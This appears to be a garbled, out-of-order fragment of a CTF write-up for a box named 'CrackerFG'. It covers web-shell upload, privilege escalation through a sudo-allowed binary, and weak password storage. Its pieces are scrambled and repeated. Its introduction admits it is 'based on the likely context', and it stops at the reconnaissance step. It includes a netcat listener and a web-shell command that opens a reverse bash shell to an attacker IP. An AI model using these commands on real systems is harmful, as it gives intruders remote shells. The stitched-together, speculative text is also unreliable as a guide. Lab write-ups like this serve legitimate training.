Crackerfg — _top_

You get RCE as www-data . # On attacker machine nc -lvnp 4444 Via the web shell cmd=nc -e /bin/bash 10.10.14.14 4444

http://10.10.10.10/uploads/shell.fg?cmd=id crackerfg

Run strings /usr/bin/crackerfg – it calls a system command: hashgen . You get RCE as www-data

sudo -l User www-data can run /usr/bin/crackerfg as root without password. weak password storage

Here’s a short write-up for , based on the likely context of a cybersecurity CTF or penetration testing challenge (commonly seen on platforms like HackTheBox, TryHackMe, or a custom box). CrackerFG – Write-up CrackerFG is a medium-difficulty challenge that combines web enumeration , weak password storage , and privilege escalation via misconfigured binaries. Below is a step-by-step solution. 1. Reconnaissance Start with an Nmap scan:

crackerfg